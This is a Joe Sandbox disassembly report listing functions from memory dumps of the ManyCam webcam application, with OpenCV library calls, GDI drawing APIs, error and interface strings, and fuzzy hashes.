Opcode Fuzzy Hash: 6e06b05b8fd0a62b4f153955b4dea0d795a5cbe7c2d0bc92593e577d07a60c91
Instruction Fuzzy Hash: 5F115A9D74C1005B9E08E7BC901966DE1D1F3D4901BEC43F8B09CCBB8AD55DDE067666

Uniqueness

Uniqueness Score: -1.00%

Function 016FA2B0 Relevance: 44.2, APIs: 21, Strings: 4, Instructions: 460COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,?,00000000), ref: 016FA421
cvGetErrStatus.CXCORE099 ref: 016FA42D
cvGetMat.CXCORE099(?,?,?,00000000), ref: 016FA450

Part of subcall function 016FE130: cvError.CXCORE099(000000E5,cvGetMat,NULL array pointer is passed,.\cxarray.cpp,00000ADB,?,?,?,?), ref: 016FE4BC

cvGetErrStatus.CXCORE099 ref: 016FA45E

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,cvDiv,Inner function failed.,.\cxarithm.cpp,000006B9), ref: 016FA47D
cvError.CXCORE099(000000E8,cvDiv,017A124F,.\cxarithm.cpp,000006BB), ref: 016FA4AD
cvGetMat.CXCORE099(?,?,?,00000000), ref: 016FA4D9
cvGetErrStatus.CXCORE099 ref: 016FA4E7
cvError.CXCORE099(FFFFFF33,cvDiv,017A124F,.\cxarithm.cpp,000006AB), ref: 016FA52F
cvInitNArrayIterator.CXCORE099(-00000002,?,00000000,?,?,00000000), ref: 016FA5AE
cvGetErrStatus.CXCORE099 ref: 016FA5B6
cvError.CXCORE099(FFFFFF2E,cvDiv,017A124F,.\cxarithm.cpp,000006CF), ref: 016FA615

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvNextNArraySlice.CXCORE099(?), ref: 016FA65C
cvErrorFromIppStatus.CXCORE099(00000000,cvDiv,OpenCV function failed,.\cxarithm.cpp,000006E5), ref: 016FA687
cvError.CXCORE099(00000000,000006E5), ref: 016FA690
cvError.CXCORE099(FFFFFF2E,cvDiv,017A124F,.\cxarithm.cpp,000006DF), ref: 016FA6C3
cvError.CXCORE099(FFFFFF2F,cvDiv,017A124F,.\cxarithm.cpp,000006F0), ref: 016FA8CD

Strings

cvDiv, xrefs: 016FA476, 016FA4A6, 016FA525, 016FA60B, 016FA681, 016FA6B9, 016FA742, 016FA805, 016FA872, 016FA8C3
Inner function failed., xrefs: 016FA471
OpenCV function failed, xrefs: 016FA67C
.\cxarithm.cpp, xrefs: 016FA46C, 016FA49C, 016FA51B, 016FA601, 016FA677, 016FA6AF, 016FA738, 016FA7FB, 016FA868, 016FA8B9

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$Array$FromInitIteratorNextSlicemalloc
String ID: .\cxarithm.cpp$Inner function failed.$OpenCV function failed$cvDiv
API String ID: 2213240858-2317396085
Opcode ID: 71a5e61cfffc18de744449d6527bffd6978d1d2d31a99f2e3b28a60587abb8eb
Instruction ID: 9ff4edf73eb88857261bc1b5a5ce9b1e4ce7d0e0c5b3b2b92bf57efe1837082d
Opcode Fuzzy Hash: 71a5e61cfffc18de744449d6527bffd6978d1d2d31a99f2e3b28a60587abb8eb
Instruction Fuzzy Hash: E5F112B1604301AFD710DE98EC85B2BB7A5EBC4724F50466DFA099B385E3B0D891CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0178A470 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 259COMMON

Download Yara Rule

APIs

Part of subcall function 01783F40: fgets.MSVCR80 ref: 0178403F
Part of subcall function 01783F40: feof.MSVCR80 ref: 0178406C

cvGetErrStatus.CXCORE099(00000000), ref: 0178A4B7

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,icvXMLParse,Inner function failed.,.\cxpersistence.cpp,00000867,00000000), ref: 0178A4D6

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

sprintf.MSVCR80 ref: 0178A595
cvError.CXCORE099(FFFFFF2C,icvXMLParse,?,.\cxpersistence.cpp,0000086A), ref: 0178A5B4

Strings

%s(%d): %s, xrefs: 0178A58F
<?xml, xrefs: 0178A4FB
encoding, xrefs: 0178A5F7
ASCII, xrefs: 0178A609
opencv_storage, xrefs: 0178A692
icvXMLParse, xrefs: 0178A4CF, 0178A5AA, 0178A74B, 0178A778
Inner function failed., xrefs: 0178A4CA, 0178A746
Unsupported encoding, xrefs: 0178A620
.\cxpersistence.cpp, xrefs: 0178A4C5, 0178A5A0, 0178A741, 0178A773
Valid XML should start with '<?xml ...?>', xrefs: 0178A584
</opencv_storage> tag is missing, xrefs: 0178A761
<opencv_storage> tag is missing, xrefs: 0178A76D

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus$feoffgetsmallocsprintf
String ID: %s(%d): %s$.\cxpersistence.cpp$</opencv_storage> tag is missing$<?xml$<opencv_storage> tag is missing$ASCII$Inner function failed.$Unsupported encoding$Valid XML should start with '<?xml ...?>'$encoding$icvXMLParse$opencv_storage
API String ID: 1750464417-4093695646
Opcode ID: d1c66473153e2aa2320906d30ef24a8eed0528d39e90670bd6a0aa6beaf7d618
Instruction ID: 0314f2ce8f2565c50ffb6bec4c2ea0cdb526d86b17b7be317470b9ba90768fac
Opcode Fuzzy Hash: d1c66473153e2aa2320906d30ef24a8eed0528d39e90670bd6a0aa6beaf7d618
Instruction Fuzzy Hash: CF818FB2E843412BDB21BA398C54B7BF7E4FBD0600F54456EF64797185FB20D98483A2

Uniqueness

Uniqueness Score: -1.00%

Function 0178A080 Relevance: 42.3, APIs: 13, Strings: 11, Instructions: 299COMMON

Download Yara Rule

APIs

isalnum.MSVCR80 ref: 0178A0DA
isalpha.MSVCR80 ref: 0178A155
isalnum.MSVCR80 ref: 0178A17A
cvGetHashedKey.CXCORE099(?,?,?,00000001,?,?,?,?,?,0178A5DB,?,?,?,?,?,00000000), ref: 0178A19A
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,?,?,?,0178A5DB,?,?,?,?,?,00000000), ref: 0178A1A8
cvGetErrStatus.CXCORE099 ref: 0178A260
cvGetErrStatus.CXCORE099 ref: 0178A297

Part of subcall function 01782D40: sprintf.MSVCR80 ref: 01782D6E
Part of subcall function 01782D40: cvError.CXCORE099(FFFFFF2C,icvYMLSkipSpaces,?,.\cxpersistence.cpp,?), ref: 01782D88

Strings

Attribute name should be followed by '=', xrefs: 0178A3BE
Attribute value should be put into single or double quotes, xrefs: 0178A3D2
Invalid closing tag for <?xml ..., xrefs: 0178A34D, 0178A405
Name should start with a letter or underscore, xrefs: 0178A389
Unknown tag type, xrefs: 0178A12C
There should be space between attributes, xrefs: 0178A423
Inner function failed., xrefs: 0178A3E3
.\cxpersistence.cpp, xrefs: 0178A0B0, 0178A127, 0178A3DE, 0178A429
Closing tag should not contain any attributes, xrefs: 0178A3A0
icvXMLParseTag, xrefs: 0178A0BA, 0178A131, 0178A3E8, 0178A42E
Tag should start with '<', xrefs: 0178A0B5

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$isalnum$ErrorHashedisalphasprintf
String ID: .\cxpersistence.cpp$Attribute name should be followed by '='$Attribute value should be put into single or double quotes$Closing tag should not contain any attributes$Inner function failed.$Invalid closing tag for <?xml ...$Name should start with a letter or underscore$Tag should start with '<'$There should be space between attributes$Unknown tag type$icvXMLParseTag
API String ID: 2689614709-3535608320
Opcode ID: 11aa16caad3ecf415bc9fe199de2c038c866c51ea5e146591c82d9213dd84b39
Instruction ID: e0c96512a5fe1bf04e33c584a286721e2e74a77853faef101080783dd4ea9fde
Opcode Fuzzy Hash: 11aa16caad3ecf415bc9fe199de2c038c866c51ea5e146591c82d9213dd84b39
Instruction Fuzzy Hash: C1A156B0AC83459BEB21BE1CDC4876BFBE5AB81704F44442BF9895B342E3B5C5458B83

Uniqueness

Uniqueness Score: -1.00%

Function 01764280 Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 314COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099 ref: 0176439C
cvGetErrStatus.CXCORE099(?,?,?,00000000), ref: 017643A6
cvError.CXCORE099(000000FF,cvTranspose,Inner function failed.,.\cxmatrix.cpp,000001D1,?,?,?,00000000), ref: 017643C5
cvError.CXCORE099(000000E8,cvTranspose,coi is not supported,.\cxmatrix.cpp,000001D3), ref: 017643F1

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF2E,cvTranspose,017A124F,.\cxmatrix.cpp,000001F7), ref: 0176455E

Strings

coi is not supported, xrefs: 017643E5, 017644BC
In case of inplace column/row transposition both source and destination must be continuous, xrefs: 017645F5
.\cxmatrix.cpp, xrefs: 017643B4, 017643E0, 0176448A, 017644B7, 017644EE, 0176454A, 01764584, 017645BC, 017645F0, 01764652, 01764697
Inner function failed., xrefs: 017643B9, 0176448F
OpenCV function failed, xrefs: 01764589
cvTranspose, xrefs: 017643BE, 017643EA, 01764494, 017644C1, 017644F8, 01764554, 0176458E, 017645C6, 017645FA, 0176465C, 017646A1
Rectangular matrix can not be transposed inplace, xrefs: 017645C1

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxmatrix.cpp$In case of inplace column/row transposition both source and destination must be continuous$Inner function failed.$OpenCV function failed$Rectangular matrix can not be transposed inplace$coi is not supported$cvTranspose
API String ID: 483703942-1022153288
Opcode ID: bebc7c757a1c43a7cc9e00f6e7d4272d14fe32c56327ee320b4b74e2940c48b0
Instruction ID: 3a897466f9b26efa7663f21cf43b1d708eb1ffcc519a3f20ec98319c643a2312
Opcode Fuzzy Hash: bebc7c757a1c43a7cc9e00f6e7d4272d14fe32c56327ee320b4b74e2940c48b0
Instruction Fuzzy Hash: 1DA187F67843026FC7149A09FC6AA5AF395E7E0775F88423DFD029738AD371A1488792

Uniqueness

Uniqueness Score: -1.00%

Function 004F6BD0 Relevance: 38.7, APIs: 15, Strings: 7, Instructions: 165fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,Dynamic), ref: 004F6C39
GetFileSize.KERNEL32(000000FF,00000000), ref: 004F6C72
CloseHandle.KERNEL32(000000FF), ref: 004F6C83

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,?,Dynamic), ref: 004F6CD4

Strings

You have selected a file with the size larger than 3Mb., xrefs: 004F6D24
The Resource File is corrupted. Please select another., xrefs: 004F6D81
The file size is larger than the maximum allowed (10 Mb)., xrefs: 004F6C89
The Resource File is corrupted. Please select another., xrefs: 004F6CE3
You have selected an image with the dimension larger than 3000x2000., xrefs: 004F6DDB
The Resource File is corrupted. Please select another., xrefs: 004F6C48
Dynamic, xrefs: 004F6C05

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: File$Create$AllocatorCloseDebugHandleHeapSize
String ID: Dynamic$The Resource File is corrupted. Please select another.$The Resource File is corrupted. Please select another.$The Resource File is corrupted. Please select another.$The file size is larger than the maximum allowed (10 Mb).$You have selected a file with the size larger than 3Mb.$You have selected an image with the dimension larger than 3000x2000.
API String ID: 1944681888-4013501048
Opcode ID: db53ed9e86c52f9cf1fd276464b43294e0c4f6e7b9bf3ea5ce6500d8ea47b909
Instruction ID: 602c555bb4c1e2a523d70d8c740280473e2c328c7d9138f782ffa9abfa287272
Opcode Fuzzy Hash: db53ed9e86c52f9cf1fd276464b43294e0c4f6e7b9bf3ea5ce6500d8ea47b909
Instruction Fuzzy Hash: 27613C70A00258ABDB14EF54DC96BEEBB75FB40314F50465AF91AAB2D0CB34AF81DB44

Uniqueness

Uniqueness Score: -1.00%

Function 00420D30 Relevance: 37.7, APIs: 25, Instructions: 218windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000005), ref: 00420DA8
GetSysColor.USER32(0000000D), ref: 00420DB3
GetSysColor.USER32(00000008), ref: 00420DBE
CreateSolidBrush.GDI32(00000000), ref: 00420DDA
SetTextColor.GDI32(?,?), ref: 00420DFD
SetBkColor.GDI32(?,?), ref: 00420E0E
CreateSolidBrush.GDI32(?), ref: 00420E18
FillRect.USER32(?,?,?), ref: 00420E30
DeleteObject.GDI32(?), ref: 00420E3A
SetTextColor.GDI32(?,?), ref: 00420E4D
SetBkColor.GDI32(?,?), ref: 00420E5E
CreateSolidBrush.GDI32(?), ref: 00420E68
FillRect.USER32(?,?,?), ref: 00420E80
DeleteObject.GDI32(?), ref: 00420E8A
DrawFocusRect.USER32(?,?), ref: 00420EA3
GetSysColor.USER32(00000011), ref: 00420EFD
SetTextColor.GDI32(?,00000000), ref: 00420F11
SetBkMode.GDI32(?,00000001), ref: 00420F34
wcslen.MSVCR80 ref: 00420F49
TextOutW.GDI32(?,?,?,-0059D15D,00000000), ref: 00420F72
CreateSolidBrush.GDI32(00000000), ref: 00420F7C
FillRect.USER32(?,?,?), ref: 00420F94
DeleteObject.GDI32(?), ref: 00420F9E
FrameRect.USER32(?,?,?), ref: 00420FB3
DeleteObject.GDI32(?), ref: 00420FBD

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Color$Rect$BrushCreateDeleteObjectSolidText$Fill$DrawFocusFrameModewcslen
String ID:
API String ID: 2925841201-0
Opcode ID: 26bd2938b346416d1ad719aebc76d141ac748537c15b6b170e29b0edcf1e6a47
Instruction ID: 66e9c8a567400198a530f2ea5b8cee96818a293c6e558f9a1399f5342b62ddb8
Opcode Fuzzy Hash: 26bd2938b346416d1ad719aebc76d141ac748537c15b6b170e29b0edcf1e6a47
Instruction Fuzzy Hash: 36A1BAB5A00208DFDB08CFD8D9989AEBBB5FF9C310F108119EA19AB355D734A945DF90

Uniqueness

Uniqueness Score: -1.00%

Function 004DF9D0 Relevance: 36.8, APIs: 11, Strings: 10, Instructions: 100COMMON

Download Yara Rule

Strings

Hair, xrefs: 004DFB39
Static, xrefs: 004DFA91
Dynamic, xrefs: 004DFAA8
Objects, xrefs: 004DFA3E
Backgrounds, xrefs: 004DFA64
Hats, xrefs: 004DFB4D
Eyeglasses, xrefs: 004DFB11
Face, xrefs: 004DFB25
Face accessories, xrefs: 004DFABF
Eyebrow, xrefs: 004DFAFD

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID: Backgrounds$Dynamic$Eyebrow$Eyeglasses$Face$Face accessories$Hair$Hats$Objects$Static
API String ID: 0-1997589367
Opcode ID: 901aaf5dd029739a1d3c8ae11e8e018cde442a6ffa83023b5c9d53f9021075d0
Instruction ID: 0d5221454f0c8e7e8b894d99aff3531fa54f2736b105361686d27a0df3d4384b
Opcode Fuzzy Hash: 901aaf5dd029739a1d3c8ae11e8e018cde442a6ffa83023b5c9d53f9021075d0
Instruction Fuzzy Hash: AC413B30A042199BCB25DF14D8A5BAB7761BB41708F1405BBB41A5B3D0CB79AEC9CB89

Uniqueness

Uniqueness Score: -1.00%

Function 01798160 Relevance: 35.4, APIs: 14, Strings: 6, Instructions: 398COMMON

Download Yara Rule

APIs

cvInitNArrayIterator.CXCORE099(00000001,?,00000000,?,?,00000000,?,00000000,?), ref: 01798233
cvGetErrStatus.CXCORE099(?,?,?,?,00000000,?), ref: 0179823B
cvError.CXCORE099(000000FF,cvSum,Inner function failed.,.\cxsumpixels.cpp,000001A4,?,?,?,?,00000000,?), ref: 0179825A
cvError.CXCORE099(FFFFFF2D,cvSum,The input array must have at most 4 channels,.\cxsumpixels.cpp,000001A8,?,?,?,?,00000000,?), ref: 017982A2

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF2E,cvSum,017A124F,.\cxsumpixels.cpp,000001B0,?,?,?,?,00000000,?), ref: 017982E5

Strings

The input array must have at most 4 channels, xrefs: 01798293, 01798560
.\cxsumpixels.cpp, xrefs: 01798249, 0179828E, 017982D1, 0179837A, 01798505, 0179855B, 017985DF
Inner function failed., xrefs: 0179824E
OpenCV function failed, xrefs: 017985E4
cvSum, xrefs: 01798253, 01798298, 017982DB, 01798384, 0179850F, 01798565, 017985E9
Unsupported format, xrefs: 0179850A

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$ArrayInitIterator
String ID: .\cxsumpixels.cpp$Inner function failed.$OpenCV function failed$The input array must have at most 4 channels$Unsupported format$cvSum
API String ID: 2429443112-1319435761
Opcode ID: 368f8e08683ffe31cf364a995e3b92620031380e5d93827150205c947636f2ce
Instruction ID: 4d5f75538f80155348848cbd45eef492ad38d89252658c5ae6d657497893b307
Opcode Fuzzy Hash: 368f8e08683ffe31cf364a995e3b92620031380e5d93827150205c947636f2ce
Instruction Fuzzy Hash: 8BC145B230470AABDB20DE59FC84A6BF3B4FBC5714F100A6DF69982145DB71E5688393

Uniqueness

Uniqueness Score: -1.00%

Function 0041EA80 Relevance: 35.3, APIs: 16, Strings: 4, Instructions: 259windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

GetSysColorBrush.USER32(0000000F), ref: 0041EAEF
FillRect.USER32(00000000,?,00000000), ref: 0041EB03
LoadIconW.USER32(00000000,00000087), ref: 0041EB51
DrawIconEx.USER32(00000000,0000000A,0000000A,?,00000020,00000020,00000000,00000000,00000003), ref: 0041EB75
DeleteObject.GDI32(?), ref: 0041EB7F
SetBkMode.GDI32(00000000,00000001), ref: 0041EBB2
GetTextColor.GDI32(00000000), ref: 0041EBC1
SetTextColor.GDI32(00000000,00000000), ref: 0041EBD2
memset.MSVCR80 ref: 0041EC7C

Part of subcall function 00417240: CreateFontIndirectW.GDI32(00409661), ref: 0041724B

SelectObject.GDI32(00000000,00000000), ref: 0041ECBC
memset.MSVCR80 ref: 0041ECE8
memset.MSVCR80 ref: 0041ED12
memset.MSVCR80 ref: 0041ED3C
wcslen.MSVCR80 ref: 0041EDE0
DrawTextW.USER32(00000000,?,00000000), ref: 0041EE04
SelectObject.GDI32(00000000,?), ref: 0041EE1C

Strings

To run ManyCam's dynamic background effects it is necessary to have the Indeo(R) codec installed and registered on your computer., xrefs: 0041ECCD
Verdana, xrefs: 0041EC42
For more information please visit , xrefs: 0041ED1F
Please confirm that ManyCam has permission to add this codec to your computer., xrefs: 0041ECF5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: memset$ColorObjectText$DrawIconRectSelect$BrushClientCreateDeleteFillFontIndirectLoadModewcslen
String ID: For more information please visit $Please confirm that ManyCam has permission to add this codec to your computer.$To run ManyCam's dynamic background effects it is necessary to have the Indeo(R) codec installed and registered on your computer.$Verdana
API String ID: 744489110-1759026381
Opcode ID: 58b7292fdbef0849fd6a32aea5d5f1962e852a66df7108f83bd5b60b6f2a3ebe
Instruction ID: 8647ecc2d404d113b85be19741f6e1cb79f34e612718a269b33a6944d2f87c5b
Opcode Fuzzy Hash: 58b7292fdbef0849fd6a32aea5d5f1962e852a66df7108f83bd5b60b6f2a3ebe
Instruction Fuzzy Hash: 00C147B0D00219DBDB14CF94DC94BEEBBB9BF54304F1081AAE509AB381DB746A89CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00402130 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 433COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000FB,cvCylDrawCylinder,Invalid parameter.,.\src\cylaux.cpp,0000009A), ref: 00402670

Part of subcall function 00405340: cvSet.CXCORE099(?,?,?,?,00000000,0040217B), ref: 0040535D

cvGEMM.CXCORE099(?,?), ref: 004021A7
_CIcos.MSVCR80 ref: 004021DD
_CIsin.MSVCR80 ref: 004021EA
cvGEMM.CXCORE099(?,?), ref: 0040225F
cvGEMM.CXCORE099(?,?), ref: 004022C4
cvGEMM.CXCORE099(?,?), ref: 00402325
_CIsqrt.MSVCR80 ref: 004023DC
_CIsqrt.MSVCR80 ref: 004023F7
_CIacos.MSVCR80 ref: 00402431
cvSet2D.CXCORE099(?,?,?), ref: 00402488
_CIcos.MSVCR80 ref: 004024E9
_CIsin.MSVCR80 ref: 00402517
cvGEMM.CXCORE099(?,?), ref: 00402559
cvGEMM.CXCORE099(?,?), ref: 004025DA
cvLine.CXCORE099(?,?,?,?,?), ref: 0040264C

Strings

cvCylDrawCylinder, xrefs: 00402669
.\src\cylaux.cpp, xrefs: 0040265F
Invalid parameter., xrefs: 00402664

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: IcosIsinIsqrt$ErrorIacosLineSet2
String ID: .\src\cylaux.cpp$Invalid parameter.$cvCylDrawCylinder
API String ID: 3689646513-1738803442
Opcode ID: 8deb28bca9f0b0be666a0c88b69cf3ae356be30c15ac8f98f76c123cc54bb843
Instruction ID: ee0604925432baceefbd38c3e5584ac40f80a2529fa49fd9d4d055b72c52293a
Opcode Fuzzy Hash: 8deb28bca9f0b0be666a0c88b69cf3ae356be30c15ac8f98f76c123cc54bb843
Instruction Fuzzy Hash: C8F1A171A05601DBD304AF60D989696BFF0FF84780F614D88E5D4672A9EB3198B4CFC6

Uniqueness

Uniqueness Score: -1.00%

Function 0179E020 Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 395COMMON

Download Yara Rule

APIs

cvError.CXCORE099(FFFFFF2E,cvSolveCubic,Both matrices should be floating-point (single or double precision),.\cxutils.cpp,0000011F), ref: 0179E0E8
cvError.CXCORE099(FFFFFF37,cvSolveCubic,The matrix of roots must be 1-dimensional vector of 3 elements,.\cxutils.cpp,0000012A), ref: 0179E13A
cvError.CXCORE099(?,cvSolveCubic,Input parameter is not a valid matrix,.\cxutils.cpp,00000117), ref: 0179E4B6

Strings

Both matrices should be floating-point (single or double precision), xrefs: 0179E0D5
Output parameter is not a valid matrix, xrefs: 0179E47C
